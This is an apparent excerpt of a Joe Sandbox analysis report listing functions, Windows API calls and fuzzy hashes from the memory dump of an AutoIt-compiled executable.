Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: bf8bc0690248d737bff2edb9e8b70dfe91917ab1d4f7902ef7002e5c9f8dff5c
Instruction ID: f0aa4543f1c316162de57479fe8a0868e968bd45fad2ac3ea3636b8a79084cda
Opcode Fuzzy Hash: bf8bc0690248d737bff2edb9e8b70dfe91917ab1d4f7902ef7002e5c9f8dff5c
Instruction Fuzzy Hash: C1F0A43510420EA7C715AFA8DC02AEF7BE9DF15354F14042AF905D6281DBB0D68196B5

Function 00D64274 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

__lock_file.LIBCMT ref: 00D642B9

Part of subcall function 00D65A9F: __lock.LIBCMT ref: 00D65AC2

__fclose_nolock.LIBCMT ref: 00D642C4

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 3fe84d551c50a76da535d13f2501b591b6b5b13bba4fb9d58fab4242ec78120d
Instruction ID: 483505c1f41695f26a689e14873f91f496a71aa265715908a94784f25103dba4
Opcode Fuzzy Hash: 3fe84d551c50a76da535d13f2501b591b6b5b13bba4fb9d58fab4242ec78120d
Instruction Fuzzy Hash: B1F0B4318117099BD710BB75880276E6BD0AF45738F358209F8649B1C1CB7CD9819B79

Function 00D61D65 Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00D61D6B

Part of subcall function 00D61D33: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00DCED50,?,?,00D61D70,00D60127,?,00D68A37,000000FF,0000001E,00DF68C8,00000008,00D6899B,00D60127,00D60127), ref: 00D61D42
Part of subcall function 00D61D33: GetProcAddress.KERNEL32(00DCED50,CorExitProcess), ref: 00D61D54

ExitProcess.KERNEL32 ref: 00D61D74

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 384668bc91abb08e25c79e7e3e7ad5d79e5c4f366692a9f8ee7c0cfa7be53354
Instruction ID: 0a802f868993aa31a3e6084a19cf00bc2ac9abf8d7a35d73228fe4338112ce35
Opcode Fuzzy Hash: 384668bc91abb08e25c79e7e3e7ad5d79e5c4f366692a9f8ee7c0cfa7be53354
Instruction Fuzzy Hash: 46B09230000209BBCB012F11DD0A8883F2AEB01390B004038F80448131DBB2AA919AE1

Function 00D4B6D0 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D4B7C2

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 1881b95582f27488270194163bdcf0f55d1034154a259e89151eb0eef9976d72
Instruction ID: 9ee7a246fd434a2384eb0c3e5517cb1207aa860988e84c3eda0830d82991f34f
Opcode Fuzzy Hash: 1881b95582f27488270194163bdcf0f55d1034154a259e89151eb0eef9976d72
Instruction Fuzzy Hash: D041AD79200702DFD724DF19C491A62F7E0FF99361718C42EE99A8B761DB30E852CB60

Function 00DBAA5A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00DBAA65

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 35184e4eadc934e89421af2af9aa746e4c0def3cf1b7c530c71cb65aff16bec1
Instruction ID: 1f3a4881a170694c49c3384f7b9a910c3193ef41464d9c6322c4e71c8c8b9f55
Opcode Fuzzy Hash: 35184e4eadc934e89421af2af9aa746e4c0def3cf1b7c530c71cb65aff16bec1
Instruction Fuzzy Hash: CB412B74504751CFDB24CF18C444B1ABBE1BF49308F1985ACE99A4B362D372E885CF62

Function 00D43F9B Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D43F5D: FreeLibrary.KERNEL32(00000000,?), ref: 00D43F90

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00D434E2,?,00000001), ref: 00D43FCD

Part of subcall function 00D43E78: FreeLibrary.KERNEL32(00000000), ref: 00D43EAB

Part of subcall function 00D44010: _memmove.LIBCMT ref: 00D4405A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Library$Free$Load_memmove
String ID:
API String ID: 3640140200-0
Opcode ID: ca36538fc4ca6f62ab07272b7e1b2539bcd748527d5f31af3d754d7e6c89beea
Instruction ID: 4cd498d0122415cda4840eefa533ea1e3759987ef41db000a1c83f929b285240
Opcode Fuzzy Hash: ca36538fc4ca6f62ab07272b7e1b2539bcd748527d5f31af3d754d7e6c89beea
Instruction Fuzzy Hash: D511A032610315ABCF14BB68EC12F9E77A9DF50B00F108929F582E61C1DB759A459B70

Function 00DBAB2A Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00DBAB36

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 920a95db795add0906cc2424803b579ab972e04ebdbf925f004c6d5c3f0875f9
Instruction ID: 42518b26062960b87f2b106d858674f8179ce64640f8a2f65a12fe55c1639dea
Opcode Fuzzy Hash: 920a95db795add0906cc2424803b579ab972e04ebdbf925f004c6d5c3f0875f9
Instruction Fuzzy Hash: F8212470508701CFEB24DF28C444A5ABBE1BF89345F194968E99647622D331E889CF62

Function 00D4CAEE Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D4CB2F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction ID: fbb52de14fecdd4098cd0b61999a197ff464f4c07d9056007e32bcc258d2f701
Opcode Fuzzy Hash: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction Fuzzy Hash: 3901F9722107016FD7549B39CC07A67BB98DF44760F54C92EF99ACB1D1EB71E4008A70

Function 00D43E39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,00D434E2,?,00000001), ref: 00D43E6D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: c132988470e9461521afb4ec7cf61c3750efe73e3ac70f88cb247a2816446286
Instruction ID: 7714832d777ea4d24841ce224bd7aa697bf440fea488244dbec9f5d84e5ec27a
Opcode Fuzzy Hash: c132988470e9461521afb4ec7cf61c3750efe73e3ac70f88cb247a2816446286
Instruction Fuzzy Hash: D5F03971102752DFCB349FA8D890812BBE1EF147253288B3EF1D682621C7319944DF20

Function 00D62011 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00D6201B

Part of subcall function 00D61EE2: __lock.LIBCMT ref: 00D61EF0

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __lock_doexit
String ID:
API String ID: 368792745-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: df195b48e73ba6a4ddc4e153b8a103dfe192426daaca960bf850cb7ae4e37e93
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: 49B0123158030D33D9102D91EC03F053B0C9760B50F240020FE0C1C1E2E593F56441E9

Non-executed Functions

Function 00DAF5D0 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 00DAF64E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00DAF6AD
GetWindowLongW.USER32(?,000000F0), ref: 00DAF6EA
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00DAF711
SendMessageW.USER32 ref: 00DAF737
_wcsncpy.LIBCMT ref: 00DAF7A3
GetKeyState.USER32(00000011), ref: 00DAF7C4
GetKeyState.USER32(00000009), ref: 00DAF7D1
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00DAF7E7
GetKeyState.USER32(00000010), ref: 00DAF7F1
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00DAF820
SendMessageW.USER32 ref: 00DAF843
SendMessageW.USER32(?,00001030,?,00DADE69), ref: 00DAF940
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 00DAF956
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00DAF967
SetCapture.USER32(?), ref: 00DAF970
ClientToScreen.USER32(?,?), ref: 00DAF9D4
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00DAF9E0
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 00DAF9FA
ReleaseCapture.USER32 ref: 00DAFA05
GetCursorPos.USER32(?), ref: 00DAFA3A
ScreenToClient.USER32(?,?), ref: 00DAFA47
SendMessageW.USER32(?,00001012,00000000,?), ref: 00DAFAA9
SendMessageW.USER32 ref: 00DAFAD3
SendMessageW.USER32(?,00001111,00000000,?), ref: 00DAFB12
SendMessageW.USER32 ref: 00DAFB3D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00DAFB55
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00DAFB60
GetCursorPos.USER32(?), ref: 00DAFB81
ScreenToClient.USER32(?,?), ref: 00DAFB8E
GetParent.USER32(?), ref: 00DAFBAA
SendMessageW.USER32(?,00001012,00000000,?), ref: 00DAFC10
SendMessageW.USER32 ref: 00DAFC40
ClientToScreen.USER32(?,?), ref: 00DAFC96
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00DAFCC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 00DAFCEA
SendMessageW.USER32 ref: 00DAFD0D
ClientToScreen.USER32(?,?), ref: 00DAFD57
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00DAFD87
GetWindowLongW.USER32(?,000000F0), ref: 00DAFE1C

Strings

F, xrefs: 00DAFD13
@GUI_DRAGID, xrefs: 00DAF99D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 2516578528-4164748364
Opcode ID: 4220dc19a011e30d6c212a465dc54269234e513c76aa888b0a81aa0cd2f7929a
Instruction ID: af8c9181b9d4c7228d873157cd5a8b4f95b1064018514eefd3c3c0f3abfbc210
Opcode Fuzzy Hash: 4220dc19a011e30d6c212a465dc54269234e513c76aa888b0a81aa0cd2f7929a
Instruction Fuzzy Hash: 6732AA70204306AFDB14DFA4C884FAABBA5FF4A318F0809A9F595872A1D731DC45CB71

Function 00DAA8DC Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00DAAFDB

Strings

%d/%02d/%02d, xrefs: 00DAAD0A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 3e6d31f5254eef137012830d357e6f85155c78bfcd663ba01ffe06c2581bff02
Instruction ID: 69b954dae6601c0f763402ccc3a0a501fa17067de5a9df642270328af272d34f
Opcode Fuzzy Hash: 3e6d31f5254eef137012830d357e6f85155c78bfcd663ba01ffe06c2581bff02
Instruction Fuzzy Hash: 99129E71500309AFEB258F68CC49FAE7BB9EF46310F144229F956EB291DB748941CB32

Function 00D5F78E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 00D5F796
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00DB4388
IsIconic.USER32(000000FF), ref: 00DB4391
ShowWindow.USER32(000000FF,00000009), ref: 00DB439E
SetForegroundWindow.USER32(000000FF), ref: 00DB43A8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00DB43BE
GetCurrentThreadId.KERNEL32 ref: 00DB43C5
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00DB43D1
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00DB43E2
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00DB43EA
AttachThreadInput.USER32(00000000,?,00000001), ref: 00DB43F2
SetForegroundWindow.USER32(000000FF), ref: 00DB43F5
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DB440A
keybd_event.USER32(00000012,00000000), ref: 00DB4415
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DB441F
keybd_event.USER32(00000012,00000000), ref: 00DB4424
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DB442D
keybd_event.USER32(00000012,00000000), ref: 00DB4432
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DB443C
keybd_event.USER32(00000012,00000000), ref: 00DB4441
SetForegroundWindow.USER32(000000FF), ref: 00DB4444
AttachThreadInput.USER32(000000FF,?,00000000), ref: 00DB446B

Strings

Shell_TrayWnd, xrefs: 00DB4383

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 9f83c9906b579c57a4774531d568dff0946816755a9bb69991bbdfdcdeccbe52
Instruction ID: 0ca50e2cdf0eef8ca82243efe46dd2ed1705f2b92ec5d11ab544c4f2696d032d
Opcode Fuzzy Hash: 9f83c9906b579c57a4774531d568dff0946816755a9bb69991bbdfdcdeccbe52
Instruction Fuzzy Hash: 92319671A80319BBEB216B719C49FBF7E6DEB44B50F154025FA05EA2D1C6B09D10EEB0

Function 00D4BDF0 Relevance: 37.4, APIs: 12, Strings: 9, Instructions: 643COMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

GetCurrentDirectoryW.KERNEL32(00000104,?,?,00002000,?,00E022E8,?,00000000,?,00D43E2E,?,00000000,?,00DDDBF0,00000000,?), ref: 00D4BE8B
GetFullPathNameW.KERNEL32(?,00000104,?,?,?,00D43E2E,?,00000000,?,00DDDBF0,00000000,?,00000002), ref: 00D4BEA7
__wsplitpath.LIBCMT ref: 00D4BF19

Part of subcall function 00D6297D: __wsplitpath_helper.LIBCMT ref: 00D629BD

_wcscpy.LIBCMT ref: 00D4BF31
_wcscat.LIBCMT ref: 00D4BF46
SetCurrentDirectoryW.KERNEL32(?), ref: 00D4BF56
_wcscpy.LIBCMT ref: 00D4C03E
_wcscpy.LIBCMT ref: 00D4C1ED
SetCurrentDirectoryW.KERNEL32 ref: 00D4C250

Part of subcall function 00D6010A: std::exception::exception.LIBCMT ref: 00D6013E
Part of subcall function 00D6010A: __CxxThrowException@8.LIBCMT ref: 00D60153

Part of subcall function 00D4C320: _memmove.LIBCMT ref: 00D4C419

Strings

_, xrefs: 00D4C281
", xrefs: 00D4C207
EA06, xrefs: 00DB35AA
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00DB3577
AU3!, xrefs: 00D4BEE0
Unterminated string, xrefs: 00DB39E1
>>>AUTOIT SCRIPT<<<, xrefs: 00DB3611
Error opening the file, xrefs: 00DB3593, 00DB3639
Bad directive syntax error, xrefs: 00DB393E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CurrentDirectory_wcscpy$_memmove$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_wcscatstd::exception::exception
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string$_$"
API String ID: 2542276039-3082565913
Opcode ID: 9e6936e7c0f53c0276590eae52d8e7ba9e8961d9f46f1c10eec295a11a096826
Instruction ID: 77c90a83dbcc8bf9cd6c2f18d94ac2f8eb125e159cb089a47dad53217efad728
Opcode Fuzzy Hash: 9e6936e7c0f53c0276590eae52d8e7ba9e8961d9f46f1c10eec295a11a096826
Instruction Fuzzy Hash: 7F427B715093459FD710EF60C881BABB7E8EF95300F04482AF58697252EB71EA49DBB2

Function 00D7B9F1 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 00D7BEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D7BF0F
Part of subcall function 00D7BEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D7BF3C
Part of subcall function 00D7BEC3: GetLastError.KERNEL32 ref: 00D7BF49

_memset.LIBCMT ref: 00D7BA34
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00D7BA86
CloseHandle.KERNEL32(?), ref: 00D7BA97
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00D7BAAE
GetProcessWindowStation.USER32 ref: 00D7BAC7
SetProcessWindowStation.USER32(00000000), ref: 00D7BAD1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00D7BAEB

Part of subcall function 00D7B8B0: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00D7B9EC), ref: 00D7B8C5
Part of subcall function 00D7B8B0: CloseHandle.KERNEL32(?,?,00D7B9EC), ref: 00D7B8D7

Strings

, xrefs: 00D7BA43
default, xrefs: 00D7BAE6
winsta0, xrefs: 00D7BAA9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 6678505481f8d09d0144427674dd845085c71ff86c4ac48f4d15735f570c6e0a
Instruction ID: 262518c70b5960f66dd3eb375981385f85d01a390411a6f19ce61915dbf786e3
Opcode Fuzzy Hash: 6678505481f8d09d0144427674dd845085c71ff86c4ac48f4d15735f570c6e0a
Instruction Fuzzy Hash: C9813D7190020EAFDF119FA4CD45EEEBB79EF04314F18852AF919A6261EB318E15DB30

Function 00D86B3F Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D431B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00D431DA

Part of subcall function 00D87B9F: __wsplitpath.LIBCMT ref: 00D87BBC
Part of subcall function 00D87B9F: __wsplitpath.LIBCMT ref: 00D87BCF

Part of subcall function 00D87C0C: GetFileAttributesW.KERNEL32(?,00D86A7B), ref: 00D87C0D

_wcscat.LIBCMT ref: 00D86B9D
_wcscat.LIBCMT ref: 00D86BBB
